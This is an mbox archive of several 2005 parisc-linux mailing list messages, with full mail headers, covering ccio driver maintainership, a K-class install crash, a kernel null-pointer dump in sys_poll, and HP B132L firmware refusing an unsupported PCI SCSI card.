Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ccio-dma more debuging
Date: Mon, 27 Jun 2005 08:31:51 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <42BAE7C300000AC9@mail-5-bnl.tiscali.it>
References: <1119819626.21317.13.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623822 15135 80.91.229.3 (22 Nov 2014 02:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:02 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 06:32:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 27 Jun 2005 08:32:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B20E7D700;
	Mon, 27 Jun 2005 00:32:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31248-04; Mon, 27 Jun 2005 00:32:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 641997D705;
	Mon, 27 Jun 2005 00:32:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE5B57D700
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:31:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31057-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:31:59 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 0DA637D6F6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:31:59 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-2 with esmtp (Exim)
	id 1Dmn9s-00085s-7P; Mon, 27 Jun 2005 08:31:55 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 27 Jun 2005 08:31:51 +0200
In-Reply-To: <1119819626.21317.13.camel@localhost.localdomain>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PPjNYodZeSEkXb6WZHQhaXN1IGRvb4Dt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22836


> -- Original Message --
> From: Ryan Bradetich <rbradetich@uswest.net>
> To: Joel Soete <soete.joel@tiscali.be>,
> 	Grant Grundler <grundler@parisc-linux.org>
> Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
> Date: Sun, 26 Jun 2005 15:00:26 -0600
> Subject: Re: [parisc-linux] Re: ccio-dma more debuging
> 
> 
> Hello Joel and Grant,
> 
> On Tue, 2005-06-21 at 11:18 -0600, Grant Grundler wrote:
> 
> > Sorry - very short on time right now. Ryan Bradetich is still the off=
icial
> > maintainer. If he doesn't have time to deal with it, lobby him to
> > officially hand off to someone else. My impression was he was just
> > very busy at work and wanted to get involved....this patch sounds lik=
e
> > a nice easy thing to start with.
> 
> As work mentioned, several changes in work has kept me very busy and I
> have not been able to spend  much time on non-work related projects lik=
e
> the parisc-linux port.  I am working on getting this situation changed
> so I can spend more time on project like this :)
> 
> I am still interested in maintaining the ccio driver
Nice 

> (since almost all my system have this driver)
Great two of mine too: a c110 and a d380 (still have important slowness p=
b
in 64bit as well as afaik some K models)

> .. but I am also willing to hand over
> maintenance to someone that has the interest and more time than I have
> been able to commit to it.  Hopefully my time on this project will be
> increasing in the future, but if someone is willing to step up to the
> plate now and give ccio the attention it deserves, then I will not stan=
d
> in the way :)
> 
Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: install failure model 9000/879/K260
Date: Tue, 28 Jun 2005 12:19:26 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20050628181926.GA2543__37493.4571017095$1416623823$gmane$org@colo.lackof.org>
References: <20050628093912.GA20475@paradigm.rfc822.org>
	<200506281208.j5SC8uru014096@arbas.nms.ulrich-teichert.org>
	<20050628123308.GA22276@paradigm.rfc822.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623823 15139 80.91.229.3 (22 Nov 2014 02:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:03 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Florian Lohoff <flo@rfc822.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jun 2005 18:15:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 28 Jun 2005 20:15:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E53F87D692;
	Tue, 28 Jun 2005 12:15:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15131-04; Tue, 28 Jun 2005 12:15:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 339947D68D;
	Tue, 28 Jun 2005 12:15:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 881217D689
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 12:15:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14668-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 12:15:16 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 08CCF7D688
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 12:15:16 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E23C429803C;
	Tue, 28 Jun 2005 12:19:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01774-05; Tue, 28 Jun 2005 12:19:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8BB1A298010; Tue, 28 Jun 2005 12:19:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050628123308.GA22276@paradigm.rfc822.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6/azYuJneSEkTb6WZHQhaXN1IGRvbwBp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22837

On Tue, Jun 28, 2005 at 02:33:08PM +0200, Florian Lohoff wrote:
> > Sounds like a known bug - try to set the kernel option ramdisk_size=32768.
> > You seem to have enough RAM on your box for a bigger ramdisk as well.....
> 
> Yep - fixes this problem - Later on it dies again with a Kernel fault
> and without stack trace :(

Florian,
Can you capture and post the complete console output from power on
until crash?

Our "how to report kernel bugs" FAQ is here:
   http://www.parisc-linux.org/faq/kernelbug-howto.html

In general, the parisc-linux kernels have been known to boot
on K-class machines. I think Franke Benke might be able to help
you out...ISTR he has a K-class to play with as well.

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PRINTK_TIME make panicing very early b2k?
Date: Tue, 28 Jun 2005 22:41:05 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200506290241.j5T2f6xi019650@hiauly1.hia.nrc.ca>
References: <20050627150107.GG5200@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623823 15143 80.91.229.3 (22 Nov 2014 02:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jun 2005 02:41:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 29 Jun 2005 04:41:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B4A57D675;
	Tue, 28 Jun 2005 20:41:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16628-08; Tue, 28 Jun 2005 20:41:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA0FB7D671;
	Tue, 28 Jun 2005 20:41:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AFAC7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 20:41:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16089-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 20:41:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AF3CE7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Jun 2005 20:41:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5T2f7nV019651; Tue, 28 Jun 2005 22:41:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5T2f6xi019650;
	Tue, 28 Jun 2005 22:41:06 -0400 (EDT)
In-Reply-To: <20050627150107.GG5200@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Jun 27, 2005 04:01:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gm+wYo0eeSEkcL6WZHQhaXN1IGRvbwCn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22838

> I'm not sure why you say it lacks relevant info.  Seems pretty clear to me:
> 
> > IIA Space                    = 0x0000000000000000
> > IIA Offset                   = 0x0000000000000000
> 
> ... a null pointer dereference, in kernel space.
> 
> > General Registers 0 - 31
> > 00-03   0000000000000000  0000000000000000  000000001012799c  0000000000800327
> 
> called from 1012799c.  Where's that in your System.map?

I had a similar toc dump today with 2.6.10-pa11.  The rp value pointed
to the return from the call to do_poll in sys_poll.  I've seen other
hangs in sys_poll.  The code could be in do_poll or sys_poll.  Does a
null pointer dereference in kernel space cause this?  Off hand, I would
have suspected a stack problem in an ISR.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Edwards <supadupa@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI SCSI Card in slot 1 disabled :(
Date: Wed, 29 Jun 2005 22:29:59 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <a53adc460506292129682c06d8@mail.gmail.com>
Reply-To: Scott Edwards <supadupa@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623823 15144 80.91.229.3 (22 Nov 2014 02:37:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 04:30:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 30 Jun 2005 06:30:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57CEA7D676;
	Wed, 29 Jun 2005 22:30:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23461-07; Wed, 29 Jun 2005 22:30:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B4657D67B;
	Wed, 29 Jun 2005 22:30:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B50E87D675
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Jun 2005 22:30:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23121-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Jun 2005 22:30:00 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.198])
	by free.linux.hp.com (Postfix) with ESMTP id 2794C7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Jun 2005 22:30:00 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i11so35925wra
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Jun 2005 21:29:59 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=ZGcUETp+qSPhychU769ej1FrgCfx6ul9nehH7+ZPuJcWynbfvXEsybm8SrJoMw3+BtG/nLEB28U6OYdbViH4/5/lJOwAMJRSPdcUHRCTBVJDa9kN8ThhBbmNVbqdXWrFoCsHWTycNcBUb1TJ7dVUBadChxhiY8o/REBztkfaBcA=
Original-Received: by 10.54.11.58 with SMTP id 58mr178975wrk;
	Wed, 29 Jun 2005 21:29:59 -0700 (PDT)
Original-Received: by 10.54.109.20 with HTTP; Wed, 29 Jun 2005 21:29:58 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BBCxYklXeSEkfL6WZHQhaXN1IGRvb0Dj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22839

I have a B132L workstation that I just added a symbios SCSI card to.=20
I've unable to complete POST.  Upon bootup I see a message like this:

Primary boot path   SESCSI.6.0
Alternate boot path  SESCSI.0.0
Console path   GRAPHICS(0)
Keyboard path:   PS2
 *****
  *****  Disabled the PCI SCSI card in slot 1.
 *****

An unsupported PCI I/O configuration has been detected.

Contact you HP service representative for warranty service to enable
the card(s) listed above.

To use this system before those repairs are complete, power down the
system, remove the card(s) listed above, and reboot.

Halting the system.

---

This card appears to the use the same chipset as the B132L+ (mine is
only B132L, no plus)

http://www.openpa.net/scsi.html#875

If anyone knows how to enable this card, please let me know.  I only
found one similar reference on google groups, and nothing on google
about this.  I assume this card is safe, IMO the halt message is more
about HP's self interest HCL then damage on the system. (besides, how
do they know this card will work with HP-UX?)  Irrelevant as it's
Debian Sarge with stock 2.6 kernel.

Thanks in advance. I look forward to your responses.


Scott Edwards
--
Daxal Communications - http://www.daxal.com
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher James Weatherby" <chrisw@merseymail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI SCSI Card in slot 1 disabled :(
Date: Thu, 30 Jun 2005 11:51:02 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <E1DnwdK-0006cH-7z@argon.connect.org.uk>
Reply-To: Christopher James Weatherby <chrisw@merseymail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623824 15149 80.91.229.3 (22 Nov 2014 02:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Scott Edwards" <supadupa@gmail.com>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 10:51:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 30 Jun 2005 12:51:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A42E7D670;
	Thu, 30 Jun 2005 04:51:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25504-06; Thu, 30 Jun 2005 04:51:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5E957D671;
	Thu, 30 Jun 2005 04:51:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F4067D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 04:51:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25352-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 04:51:03 -0600 (MDT)
Original-Received: from argon.connect.org.uk (argon.connectinternetsolutions.com
	[193.110.243.33])
	by free.linux.hp.com (Postfix) with ESMTP id 4D8D87D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 04:51:03 -0600 (MDT)
Original-Received: from mmail by argon.connect.org.uk with local (Exim 4.22)
	id 1DnwdK-0006cH-7z; Thu, 30 Jun 2005 11:51:02 +0100
X-Mailer: [ConnectMail 4.1.2]
X-connectmail-Originating-IP: 138.253.235.90
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7auxYuJReSEkSL6WZHQhaXN1IGRvb8Dx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22840

Hi Scott,
         I've had the same problem with my B132L, and pci cards.
 Its all to do with the Firmware version your machine is running.
 In the later versions of the Firmware , HP, in its wisdom decided to
prevent any non-supported cards (from the cards id, rather than the
chipsets), from running on their workstations, and
prevent the machine from booting, if one was inserted.My machine used to
happily boot with a wide range of PCI cards, but stopped when I upgraded to
the last Firmware version (6.1, I think).
 I think the only solution is to find an older version of the firmware, and
downgrade the machine. 
However I've never been able to find older versions of the firmware for a
B132L on HP's patch/firmware site (http://itrc.hp.com/ /
ftp://ftp.itrc.hp.com/ )

 Does anyone else know of archived sources of HP firmware?
      
    
              Chris Weatherby.

> I have a B132L workstation that I just added a symbios SCSI card to. 
> I've unable to complete POST.  Upon bootup I see a message like this:
> 
> Primary boot path   SESCSI.6.0
> Alternate boot path  SESCSI.0.0
> Console path   GRAPHICS(0)
> Keyboard path:   PS2
>  *****
>   *****  Disabled the PCI SCSI card in slot 1.
>  *****
> 
> An unsupported PCI I/O configuration has been detected.
> 
> Contact you HP service representative for warranty service to enable
> the card(s) listed above.
> 
> To use this system before those repairs are complete, power down the
> system, remove the card(s) listed above, and reboot.
> 
> Halting the system.
> 
> ---
> 
